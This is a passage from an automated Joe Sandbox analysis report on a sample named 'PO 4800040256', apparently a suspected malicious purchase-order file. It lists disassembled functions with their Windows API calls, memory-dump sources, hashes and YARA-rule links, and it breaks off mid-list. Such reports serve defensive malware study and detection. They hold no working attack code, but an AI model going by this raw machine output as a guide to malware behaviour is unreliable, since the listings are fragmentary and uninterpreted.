                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Menu$CountItemStringWindow_wcslen
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1823500076-0
                                                                                                                                                                      • Opcode ID: 3c1e0179b5075f45df12b398ec391808b8d2f1e7a16a5d1bec5683dd9427006f
                                                                                                                                                                      • Instruction ID: 4b9e656becebfc5f52f27a1d7ad2c07a58398098864d75d3a5ce1c02cc274359
                                                                                                                                                                      • Opcode Fuzzy Hash: 3c1e0179b5075f45df12b398ec391808b8d2f1e7a16a5d1bec5683dd9427006f
                                                                                                                                                                      • Instruction Fuzzy Hash: 174117715083019FD320EF25CC45BABB3E8BF88314F10492EF55997252D7B8E9458BA9
                                                                                                                                                                      Function 00448877 Relevance: 10.6, APIs: 7, Instructions: 130windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • MoveWindow.USER32(?,?,?,?,?,00000000), ref: 0044890A
                                                                                                                                                                      • SendMessageW.USER32(?,00000469,?,00000000), ref: 00448920
                                                                                                                                                                      • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                                                                                                                      • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                                                                                                                      • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                                                                                                                      • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                                                                                                                      • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Window$Enable$Show$MessageMoveSend
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 896007046-0
                                                                                                                                                                      • Opcode ID: 440e8810410bf42a4c8e03fd117b8fd843bde7e89b0e2674ab81ad81c9f8ea0f
                                                                                                                                                                      • Instruction ID: 0809a8548e22334437b8974569d6adfa08582830463fbdb99c3481629354d751
                                                                                                                                                                      • Opcode Fuzzy Hash: 440e8810410bf42a4c8e03fd117b8fd843bde7e89b0e2674ab81ad81c9f8ea0f
                                                                                                                                                                      • Instruction Fuzzy Hash: 63419E746043419FF7248B24C884B6FB7A1FB99305F18886EF98197391DA78A845CB59
                                                                                                                                                                      Function 004413F0 Relevance: 10.6, APIs: 7, Instructions: 114windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SendMessageW.USER32(?,000000F0,00000000,00000000), ref: 0044140E
                                                                                                                                                                      • GetWindowLongW.USER32(?,000000F0), ref: 00441452
                                                                                                                                                                      • GetWindowLongW.USER32(?,000000F0), ref: 00441493
                                                                                                                                                                      • SendMessageW.USER32(00A01AD0,000000F1,00000000,00000000), ref: 004414C6
                                                                                                                                                                      • SendMessageW.USER32(00A01AD0,000000F1,00000001,00000000), ref: 004414F1
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend$LongWindow
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 312131281-0
                                                                                                                                                                      • Opcode ID: ed470013e842d905752aa6f8daaa5f1d8e955df317e7b96a507e5c494099af20
                                                                                                                                                                      • Instruction ID: f6a862a32ccfd92e4f153a1965fa7dc80102ffdb8abe4b8a046001f82176c48d
                                                                                                                                                                      • Opcode Fuzzy Hash: ed470013e842d905752aa6f8daaa5f1d8e955df317e7b96a507e5c494099af20
                                                                                                                                                                      • Instruction Fuzzy Hash: 2F416A347442019FE720CF58DCC4F6A77A5FB8A754F24416AE5519B3B1CB75AC82CB48
                                                                                                                                                                      Function 0044849C Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 106windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • _memset.LIBCMT ref: 004484C4
                                                                                                                                                                      • GetMenuItemInfoW.USER32(?,?,00000000,004A83D8), ref: 00448562
                                                                                                                                                                      • IsMenu.USER32(?), ref: 0044857B
                                                                                                                                                                      • InsertMenuItemW.USER32(?,?,00000001,004A83D8), ref: 004485D0
                                                                                                                                                                      • DrawMenuBar.USER32 ref: 004485E4
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Menu$Item$DrawInfoInsert_memset
                                                                                                                                                                      • String ID: 0
                                                                                                                                                                      • API String ID: 3866635326-4108050209
                                                                                                                                                                      • Opcode ID: 42a201a1e731261e29c9ff9b40de176b55a78da0b06957c9f64dc5096dc7767a
                                                                                                                                                                      • Instruction ID: c1b4c65bd9dbf201e14e83578cc8030a3c247867dd5f1e451e409e2153a24926
                                                                                                                                                                      • Opcode Fuzzy Hash: 42a201a1e731261e29c9ff9b40de176b55a78da0b06957c9f64dc5096dc7767a
                                                                                                                                                                      • Instruction Fuzzy Hash: 9F417F75604341AFE710CF45C984B6BB7E4FB89304F14881EFA554B391DBB4E849CB5A
                                                                                                                                                                      Function 0047244D Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 104sleepCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • InterlockedIncrement.KERNEL32 ref: 0047247C
                                                                                                                                                                      • InterlockedDecrement.KERNEL32(004A7CAC), ref: 00472491
                                                                                                                                                                      • Sleep.KERNEL32(0000000A), ref: 00472499
                                                                                                                                                                      • InterlockedIncrement.KERNEL32(004A7CAC), ref: 004724A4
                                                                                                                                                                      • InterlockedDecrement.KERNEL32(004A7CAC), ref: 00472599
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Interlocked$DecrementIncrement$Sleep
                                                                                                                                                                      • String ID: 0vH
                                                                                                                                                                      • API String ID: 327565842-3662162768
                                                                                                                                                                      • Opcode ID: bfb173672284e31ba0a3017bb0c7d670cf276827bd066f711b3c3b49063f60eb
                                                                                                                                                                      • Instruction ID: 7246262c18bb701d5349304b0e2d21290bf7c9637501dd5a114e6955e8e78370
                                                                                                                                                                      • Opcode Fuzzy Hash: bfb173672284e31ba0a3017bb0c7d670cf276827bd066f711b3c3b49063f60eb
                                                                                                                                                                      • Instruction Fuzzy Hash: 9631D2329082259BD710DF28DD41A8A77A5EB95324F05483EFD08FB251DB78EC498BED
                                                                                                                                                                      Function 00448AFF Relevance: 10.6, APIs: 7, Instructions: 98windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SendMessageW.USER32(?,00000401,?,00000000), ref: 00448B16
                                                                                                                                                                      • GetFocus.USER32 ref: 00448B1C
                                                                                                                                                                      • EnableWindow.USER32(004A83D8,00000000), ref: 00448BAB
                                                                                                                                                                      • EnableWindow.USER32(004A83D8,00000001), ref: 00448BC1
                                                                                                                                                                      • ShowWindow.USER32(004A83D8,00000000,004A83D8,?,?), ref: 00448C37
                                                                                                                                                                      • ShowWindow.USER32(004A83D8,00000004,004A83D8), ref: 00448C43
                                                                                                                                                                      • EnableWindow.USER32(004A83D8,00000001), ref: 00448C58
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Window$Enable$Show$FocusMessageSend
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 3429747543-0
                                                                                                                                                                      • Opcode ID: f5aca3f6d68f8169105ace43209457086b036621b25274999c7621d4cb9b91fc
                                                                                                                                                                      • Instruction ID: 96ed947056310062a3fa6d2350adc65d304252fdbf70c479ab88671ed4e09c2c
                                                                                                                                                                      • Opcode Fuzzy Hash: f5aca3f6d68f8169105ace43209457086b036621b25274999c7621d4cb9b91fc
                                                                                                                                                                      • Instruction Fuzzy Hash: FC31B4706443819BF7248E14C8C4BAFB7D0EB95745F04492EF981A6291DBA89845C719
                                                                                                                                                                      Function 00401BE0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 90windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • LoadStringW.USER32(?,00000065,?,0000007F), ref: 0042A9B0
                                                                                                                                                                        • Part of subcall function 004021E0: _wcslen.LIBCMT ref: 004021F2
                                                                                                                                                                      • _memset.LIBCMT ref: 00401C62
                                                                                                                                                                      • _wcsncpy.LIBCMT ref: 00401CA1
                                                                                                                                                                      • _wcscpy.LIBCMT ref: 00401CBD
                                                                                                                                                                      • Shell_NotifyIconW.SHELL32(00000001,?), ref: 00401CCF
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: IconLoadNotifyShell_String_memset_wcscpy_wcslen_wcsncpy
                                                                                                                                                                      • String ID: Line:
                                                                                                                                                                      • API String ID: 1620655955-1585850449
                                                                                                                                                                      • Opcode ID: b1e388f5f21e32c190c1b7412400e6ffb6374e41c1d48bdcdb7aece10813d053
                                                                                                                                                                      • Instruction ID: a4e7cf3abc31881c2b93aaae0beefbbd48c64772eea77d32b53e92a0700a02c6
                                                                                                                                                                      • Opcode Fuzzy Hash: b1e388f5f21e32c190c1b7412400e6ffb6374e41c1d48bdcdb7aece10813d053
                                                                                                                                                                      • Instruction Fuzzy Hash: 7431D47151C301ABD324EB11DC41BDB77E8AF94314F04493FF989521A1DB78AA49C79B
                                                                                                                                                                      Function 0045D321 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 81COMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SetErrorMode.KERNEL32(00000001), ref: 0045D32F
                                                                                                                                                                      • GetVolumeInformationW.KERNEL32(?,?,000000FF,?,?,?,?,000000FF,?), ref: 0045D3B3
                                                                                                                                                                      • __swprintf.LIBCMT ref: 0045D3CC
                                                                                                                                                                      • SetErrorMode.KERNEL32(?,00000001,00000000), ref: 0045D416
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: ErrorMode$InformationVolume__swprintf
                                                                                                                                                                      • String ID: %lu$HH
                                                                                                                                                                      • API String ID: 3164766367-3924996404
                                                                                                                                                                      • Opcode ID: bd20e614eacc1ec6e7ce8a240dc663141bf9142d6fc10aee8c7bf862d4d2af0b
                                                                                                                                                                      • Instruction ID: e4de0c6df68350460ad5232616e5185c9d799459bd1b640414cfcbd8d86849a8
                                                                                                                                                                      • Opcode Fuzzy Hash: bd20e614eacc1ec6e7ce8a240dc663141bf9142d6fc10aee8c7bf862d4d2af0b
                                                                                                                                                                      • Instruction Fuzzy Hash: 85314A716083019BC310EF55D941A5BB7E4FF88704F40892EFA4597292D774EA09CB9A
                                                                                                                                                                      Function 00450DB4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 76windowCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • SendMessageW.USER32(00000000,00002001,00000000,FF000000), ref: 00450E24
                                                                                                                                                                      • SendMessageW.USER32(00000000,00000409,00000000,FF000000), ref: 00450E35
                                                                                                                                                                      • SendMessageW.USER32(?,00000402,00000000,00000000), ref: 00450E43
                                                                                                                                                                      • SendMessageW.USER32(?,00000401,00000000,00640000), ref: 00450E54
                                                                                                                                                                      • SendMessageW.USER32(00000000,00000404,00000001,00000000), ref: 00450E62
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: MessageSend
                                                                                                                                                                      • String ID: Msctls_Progress32
                                                                                                                                                                      • API String ID: 3850602802-3636473452
                                                                                                                                                                      • Opcode ID: 42656bfbb5a190feb894f1e63281698c22ff60bbec02a0e57f9bf8616b6fd2a5
                                                                                                                                                                      • Instruction ID: b51c377fab27852337593a8f268aff884918310fa347e0537580fa9f3b853d23
                                                                                                                                                                      • Opcode Fuzzy Hash: 42656bfbb5a190feb894f1e63281698c22ff60bbec02a0e57f9bf8616b6fd2a5
                                                                                                                                                                      • Instruction Fuzzy Hash: 2C2121712543007AE7209A65DC42F5BB3E9AFD8B24F214A0EF754B72D1C6B4F8418B58
                                                                                                                                                                      Function 00415702 Relevance: 10.6, APIs: 7, Instructions: 74threadCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • ___set_flsgetvalue.LIBCMT ref: 00415737
                                                                                                                                                                      • __calloc_crt.LIBCMT ref: 00415743
                                                                                                                                                                      • __getptd.LIBCMT ref: 00415750
                                                                                                                                                                      • CreateThread.KERNEL32(00000000,?,0041568B,00000000,00000004,00000000), ref: 00415776
                                                                                                                                                                      • ResumeThread.KERNEL32(00000000,?,?,?,?,?,?,00000000), ref: 00415786
                                                                                                                                                                      • GetLastError.KERNEL32(?,?,?,?,?,?,00000000), ref: 00415791
                                                                                                                                                                      • __dosmaperr.LIBCMT ref: 004157A9
                                                                                                                                                                        • Part of subcall function 00417F23: __getptd_noexit.LIBCMT ref: 00417F23
                                                                                                                                                                        • Part of subcall function 00417EBB: __decode_pointer.LIBCMT ref: 00417EC6
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Thread$CreateErrorLastResume___set_flsgetvalue__calloc_crt__decode_pointer__dosmaperr__getptd__getptd_noexit
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1269668773-0
                                                                                                                                                                      • Opcode ID: bb8068f02d799d687f86b9c43e1e9df3108372b57b840b2ce394e22bf251b6d0
                                                                                                                                                                      • Instruction ID: 083f1b3d72dc2b4e3073d7627409da2efaae6cca9fbdfa2eb2c15b7cb2a145f7
                                                                                                                                                                      • Opcode Fuzzy Hash: bb8068f02d799d687f86b9c43e1e9df3108372b57b840b2ce394e22bf251b6d0
                                                                                                                                                                      • Instruction Fuzzy Hash: 4511E672501604EFC720AF76DC868DF7BA4EF80334F21412FF525922D1DB788981966D
                                                                                                                                                                      Function 00439102 Relevance: 10.5, APIs: 7, Instructions: 46threadCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                        • Part of subcall function 00438FE4: GetProcessHeap.KERNEL32(00000008,0000000C,0043910A,00000000,00000000,00000000,0044646E,?,?,?), ref: 00438FE8
                                                                                                                                                                        • Part of subcall function 00438FE4: HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00438FEF
                                                                                                                                                                      • GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000002,00000000,00000000,00000000,0044646E,?,?,?), ref: 00439119
                                                                                                                                                                      • GetCurrentProcess.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439123
                                                                                                                                                                      • DuplicateHandle.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 0043912C
                                                                                                                                                                      • GetCurrentProcess.KERNEL32(00000008,00000000,00000000,00000002,?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00439138
                                                                                                                                                                      • GetCurrentProcess.KERNEL32(?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00439142
                                                                                                                                                                      • DuplicateHandle.KERNEL32(00000000,?,00000000,?,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 00439145
                                                                                                                                                                      • CreateThread.KERNEL32(00000000,00000000,004390C2,00000000,00000000,00000000), ref: 0043915E
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Process$Current$DuplicateHandleHeap$AllocCreateThread
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 1957940570-0
                                                                                                                                                                      • Opcode ID: ae016cd78919e3da0d3d218cc031d8d4f693afb8d34ff927aa47fd3b6f506194
                                                                                                                                                                      • Instruction ID: b388a4287fabc35bf2088fa38ebc9459a42e34e8a642192e1b63b89709cb9be3
                                                                                                                                                                      • Opcode Fuzzy Hash: ae016cd78919e3da0d3d218cc031d8d4f693afb8d34ff927aa47fd3b6f506194
                                                                                                                                                                      • Instruction Fuzzy Hash: 3BF0CD753413007BD220EB65DC86F5BB7A8EBC9B10F118919F6049B1D1C6B4A800CB65
                                                                                                                                                                      Function 0041568B Relevance: 10.5, APIs: 7, Instructions: 37threadCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • ___set_flsgetvalue.LIBCMT ref: 00415690
                                                                                                                                                                        • Part of subcall function 00416A84: TlsGetValue.KERNEL32(00411739,00416C10,?,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416A8D
                                                                                                                                                                        • Part of subcall function 00416A84: __decode_pointer.LIBCMT ref: 00416A9F
                                                                                                                                                                        • Part of subcall function 00416A84: TlsSetValue.KERNEL32(00000000,00411739,00417F28,00413979,?,?,00411739,?,00401C0B), ref: 00416AAE
                                                                                                                                                                      • ___fls_getvalue@4.LIBCMT ref: 0041569B
                                                                                                                                                                        • Part of subcall function 00416A64: TlsGetValue.KERNEL32(?,?,004140F1,00000000), ref: 00416A72
                                                                                                                                                                      • ___fls_setvalue@8.LIBCMT ref: 004156AD
                                                                                                                                                                        • Part of subcall function 00416AB8: __decode_pointer.LIBCMT ref: 00416AC9
                                                                                                                                                                      • GetLastError.KERNEL32(00000000,?,00000000), ref: 004156B6
                                                                                                                                                                      • ExitThread.KERNEL32 ref: 004156BD
                                                                                                                                                                      • __freefls@4.LIBCMT ref: 004156D9
                                                                                                                                                                      • __IsNonwritableInCurrentImage.LIBCMT ref: 004156EC
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140897240.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                      • Snapshot File: hcaresult_0_2_400000_PO 4800040256.jbxd
                                                                                                                                                                      Similarity
                                                                                                                                                                      • API ID: Value$__decode_pointer$CurrentErrorExitImageLastNonwritableThread___fls_getvalue@4___fls_setvalue@8___set_flsgetvalue__freefls@4
                                                                                                                                                                      • String ID:
                                                                                                                                                                      • API String ID: 4166825349-0
                                                                                                                                                                      • Opcode ID: 185d0aae8fe32bab84a079219336c355dd614541d1aff55515eff8c05f91681e
                                                                                                                                                                      • Instruction ID: 1015f584654e325efa3cacb901eba7c9ae2b5aefa54885f90b4e6d99173acdac
                                                                                                                                                                      • Opcode Fuzzy Hash: 185d0aae8fe32bab84a079219336c355dd614541d1aff55515eff8c05f91681e
                                                                                                                                                                      • Instruction Fuzzy Hash: 14F049745007009BD704BF72DD159DE7B69AF85345761C85FB80897222DA3DC9C1CB9C
                                                                                                                                                                      Function 00434124 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 15libraryloaderCOMMON
                                                                                                                                                                      Download Yara Rule
                                                                                                                                                                      APIs
                                                                                                                                                                      • LoadLibraryA.KERNEL32(advapi32.dll,p#D,0043415E,p#D,?,00442370,?), ref: 00434134
                                                                                                                                                                      • GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00434146
                                                                                                                                                                      Strings
                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                      • Source File: 00000000.00000002.2140420269.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                      • Associated: 00000000.00000002.2140396134.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140553262.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                                      • Associated: 00000000.00000002.2140583734.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
